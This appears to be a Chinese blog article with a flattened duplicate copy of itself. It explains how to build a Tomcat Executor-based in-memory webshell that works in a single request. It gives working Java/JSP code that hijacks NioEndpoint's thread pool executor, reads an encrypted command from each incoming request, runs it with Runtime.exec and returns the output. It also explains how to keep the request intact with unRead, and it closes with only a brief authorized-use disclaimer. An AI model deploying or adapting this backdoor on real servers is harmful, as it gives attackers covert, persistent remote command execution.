Executor内存马的实现(二)
字数 1592 2025-08-26 22:11:22

Tomcat Executor内存马实现详解

前言

本文详细解析了如何在Tomcat中通过修改NioEndpoint的Executor实现来注入Container类型的内存马,并解决了回显需要多次请求的问题。文章基于《Executor内存马的实现》进行扩展和完善。

Tomcat架构概述

Tomcat整体架构分为两大核心组件:

  1. Connector:负责处理request请求
  2. Container:实现具体处理逻辑

原始实现的问题

在最初的Executor内存马实现中,存在一个明显问题:内存马的回显需要经过多次request才能实现。这是因为:

  • 执行位置在Executor中,此时Socket流中的数据尚未被read
  • 通过线程遍历获取到的request实际上是前一次(或前几次)的缓存数据
  • 获取命令需要多次请求才能命中

问题根源分析

通过调试Tomcat处理流程,发现关键点:

  1. NioEndpoint从nioChannels中取出NioChannel对象
  2. 调用poller进行事件注册,关键步骤包括:
    • NioSocketWrapper的封装
    • PollerEvent的注册
  3. Event添加完成后,Acceptor调用accept方法
  4. 通过Poller的processKey方法发送给Executor执行
  5. 恶意代码在重写的execute方法中执行
  6. SocketProcessor对象通过process方法将socketWrapper送往processor组件
  7. 最终在fill()方法中实现socket读取

关键发现:Executor执行时,Socket流中的数据还未被read,导致获取的是缓存数据而非当前请求。

解决方案探索

尝试从buffer获取request

最初尝试通过反射获取buffer中的数据,但发现:

  • 获取的数据不是当前请求
  • 处理逻辑复杂且不稳定

寻找真实Socket

发现从Acceptor组件获取的Socket都处于closed状态,无法重新read。最终在Poller中找到了NioSocketWrapper对象:

  • 通过其read方法可获取当前request
  • 但会导致后续Processor组件无法获取已读取的数据

解决方案:unRead方法

在SocketWrapperBase类中发现unRead方法,可以将已读取的数据重新放回socket。这是解决问题的关键。

最终实现代码

public String getRequest2(){
    Thread[] threads = (Thread[]) ((Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads"));
    for (Thread thread : threads) {
        if (thread != null) {
            String threadName = thread.getName();
            if (threadName.contains("Poller")) {
                Object target = getField(thread, "target");
                if (target instanceof Runnable) {
                    try {
                        byte[] bytes = new byte[8192]; // Tomcat默认buffer大小
                        ByteBuffer buf = ByteBuffer.wrap(bytes);
                        try {
                            LinkedList linkedList = (LinkedList) getField(getField(getField(target, "selector"), "kqueueWrapper"), "updateList");
                            for (Object obj : linkedList) {
                                try {
                                    SelectionKey[] selectionKeys = (SelectionKey[]) getField(getField(obj, "channel"), "keys");
                                    for (Object tmp : selectionKeys) {
                                        try {
                                            NioEndpoint.NioSocketWrapper nioSocketWrapper = (NioEndpoint.NioSocketWrapper) getField(tmp, "attachment");
                                            try {
                                                nioSocketWrapper.read(false, buf);
                                                String a = new String(buf.array(), "UTF-8");
                                                if (a.indexOf("blue0") > -1) {
                                                    String b = a.substring(a.indexOf("blue0") + "blue0".length() + 2, a.indexOf("\r", a.indexOf("blue0")));
                                                    b = decode(DEFAULT_SECRET_KEY, b);
                                                    buf.position(0);
                                                    nioSocketWrapper.unRead(buf);
                                                    return b;
                                                } else {
                                                    buf.position(0);
                                                    nioSocketWrapper.unRead(buf);
                                                    continue;
                                                }
                                            } catch (Exception e) {
                                                nioSocketWrapper.unRead(buf);
                                            }
                                        } catch (Exception e) {
                                            continue;
                                        }
                                    }
                                } catch (Exception e) {
                                    continue;
                                }
                            }
                        } catch (Exception var11) {
                            System.out.println(var11);
                            continue;
                        }
                    } catch (Exception ignored) {
                    }
                }
            }
            if (threadName.contains("exec")) {
                return new String();
            } else {
                continue;
            }
        }
    }
    return new String();
}

关键点说明

  1. buf.position(0):重置ByteBuffer位置,与read实现逻辑相关
  2. unRead调用:确保数据被重新放回socket供后续处理
  3. 线程遍历:定位Poller线程获取NioSocketWrapper
  4. 命令提取:从请求中识别并解密命令

完整内存马实现

<%@ page import="org.apache.tomcat.util.net.NioEndpoint" %>
<%@ page import="org.apache.tomcat.util.threads.ThreadPoolExecutor" %>
<%@ page import="java.util.concurrent.TimeUnit" %>
<%@ page import="java.lang.reflect.Field" %>
<%@ page import="java.util.concurrent.BlockingQueue" %>
<%@ page import="java.util.concurrent.ThreadFactory" %>
<%@ page import="java.nio.ByteBuffer" %>
<%@ page import="java.util.ArrayList" %>
<%@ page import="org.apache.coyote.RequestInfo" %>
<%@ page import="org.apache.coyote.Response" %>
<%@ page import="java.io.IOException" %>
<%@ page import="java.nio.charset.StandardCharsets" %>
<%@ page import="com.example.java_backdoor.Executor_ms" %>
<%@ page import="org.apache.catalina.core.StandardThreadExecutor" %>
<%@ page import="java.util.LinkedList" %>
<%@ page import="java.nio.channels.SelectionKey" %>
<%@ page contentType="text/html;charset=UTF-8" language="java" %>
<%! 
// 省略加密解密方法和辅助方法...
public class threadexcutor extends ThreadPoolExecutor {
    // 省略构造函数和其他方法...
    
    @Override
    public void execute(Runnable command) {
        String cmd = getRequest2();
        if (cmd.length() > 1) {
            try {
                Runtime rt = Runtime.getRuntime();
                Process process = rt.exec(cmd);
                java.io.InputStream in = process.getInputStream();
                java.io.InputStreamReader resultReader = new java.io.InputStreamReader(in);
                java.io.BufferedReader stdInput = new java.io.BufferedReader(resultReader);
                String s = "";
                String tmp = "";
                while ((tmp = stdInput.readLine()) != null) {
                    s += tmp;
                }
                if (s != "") {
                    byte[] res = s.getBytes(StandardCharsets.UTF_8);
                    getResponse(res);
                }
            } catch (IOException e) {
                e.printStackTrace();
            }
        }
        this.execute(command, 0L, TimeUnit.MILLISECONDS);
    }
}
%>
<%
// 注入内存马
NioEndpoint nioEndpoint = (NioEndpoint) getStandardService();
try {
    ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(nioEndpoint, "executor");
    Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(
        exec.getCorePoolSize(), 
        exec.getMaximumPoolSize(),
        exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
        TimeUnit.MILLISECONDS,
        exec.getQueue(),
        exec.getThreadFactory(),
        exec.getRejectedExecutionHandler());
    nioEndpoint.setExecutor(exe);
} catch (ClassCastException e){
    StandardThreadExecutor standardexec = (StandardThreadExecutor) getField(nioEndpoint, "executor");
    ThreadPoolExecutor exec = (ThreadPoolExecutor) getField(standardexec, "executor");
    Executor_ms.threadexecutor exe = new Executor_ms.threadexecutor(
        exec.getCorePoolSize(),
        exec.getMaximumPoolSize(),
        exec.getKeepAliveTime(TimeUnit.MILLISECONDS),
        TimeUnit.MILLISECONDS,
        exec.getQueue(),
        exec.getThreadFactory(),
        exec.getRejectedExecutionHandler());
    nioEndpoint.setExecutor(exe);
}
%>

版本兼容性问题

文章指出Tomcat 8.0以前版本与8.5+版本在处理io时的差异:

  1. 8.0以前版本:直接使用NioChannel.read(buf)获取数据流

    • 不支持read()后将buf重新放回socket
    • 需要使用缓存实现
  2. 8.5+版本:使用SocketWrapperBase封装类

    • 实现了transform方法将已读数据放入read buffer
    • 支持unRead操作

已知问题

  1. 回显size过大:可能导致response header溢出错误
  2. 线程安全性:多线程环境下可能需要额外处理
  3. 版本兼容性:不同Tomcat版本可能需要调整实现

总结

本文详细解析了Tomcat Executor内存马的实现原理和关键问题解决方案,通过:

  1. 深入分析Tomcat请求处理流程
  2. 定位NioSocketWrapper获取当前请求
  3. 利用unRead方法保持请求完整性
  4. 实现单次请求即可获取命令并回显结果

这种技术可以用于红队测试和系统安全研究,但请注意仅限合法授权范围内使用。

Tomcat Executor内存马实现详解 前言 本文详细解析了如何在Tomcat中通过修改NioEndpoint的Executor实现来注入Container类型的内存马,并解决了回显需要多次请求的问题。文章基于《Executor内存马的实现》进行扩展和完善。 Tomcat架构概述 Tomcat整体架构分为两大核心组件: Connector :负责处理request请求 Container :实现具体处理逻辑 原始实现的问题 在最初的Executor内存马实现中,存在一个明显问题: 内存马的回显需要经过多次request才能实现 。这是因为: 执行位置在Executor中,此时Socket流中的数据尚未被read 通过线程遍历获取到的request实际上是前一次(或前几次)的缓存数据 获取命令需要多次请求才能命中 问题根源分析 通过调试Tomcat处理流程,发现关键点: NioEndpoint从nioChannels中取出NioChannel对象 调用poller进行事件注册,关键步骤包括: NioSocketWrapper的封装 PollerEvent的注册 Event添加完成后,Acceptor调用accept方法 通过Poller的processKey方法发送给Executor执行 恶意代码在重写的execute方法中执行 SocketProcessor对象通过process方法将socketWrapper送往processor组件 最终在fill()方法中实现socket读取 关键发现 :Executor执行时,Socket流中的数据还未被read,导致获取的是缓存数据而非当前请求。 解决方案探索 尝试从buffer获取request 最初尝试通过反射获取buffer中的数据,但发现: 获取的数据不是当前请求 处理逻辑复杂且不稳定 寻找真实Socket 发现从Acceptor组件获取的Socket都处于closed状态,无法重新read。最终在Poller中找到了 NioSocketWrapper 对象: 通过其read方法可获取当前request 但会导致后续Processor组件无法获取已读取的数据 解决方案:unRead方法 在SocketWrapperBase类中发现 unRead 方法,可以将已读取的数据重新放回socket。这是解决问题的关键。 最终实现代码 关键点说明 buf.position(0) :重置ByteBuffer位置,与read实现逻辑相关 unRead调用 :确保数据被重新放回socket供后续处理 线程遍历 :定位Poller线程获取NioSocketWrapper 命令提取 :从请求中识别并解密命令 完整内存马实现 版本兼容性问题 文章指出Tomcat 8.0以前版本与8.5+版本在处理io时的差异: 8.0以前版本 :直接使用NioChannel.read(buf)获取数据流 不支持read()后将buf重新放回socket 需要使用缓存实现 8.5+版本 :使用SocketWrapperBase封装类 实现了transform方法将已读数据放入read buffer 支持unRead操作 已知问题 回显size过大 :可能导致response header溢出错误 线程安全性 :多线程环境下可能需要额外处理 版本兼容性 :不同Tomcat版本可能需要调整实现 总结 本文详细解析了Tomcat Executor内存马的实现原理和关键问题解决方案,通过: 深入分析Tomcat请求处理流程 定位NioSocketWrapper获取当前请求 利用unRead方法保持请求完整性 实现单次请求即可获取命令并回显结果 这种技术可以用于红队测试和系统安全研究,但请注意仅限合法授权范围内使用。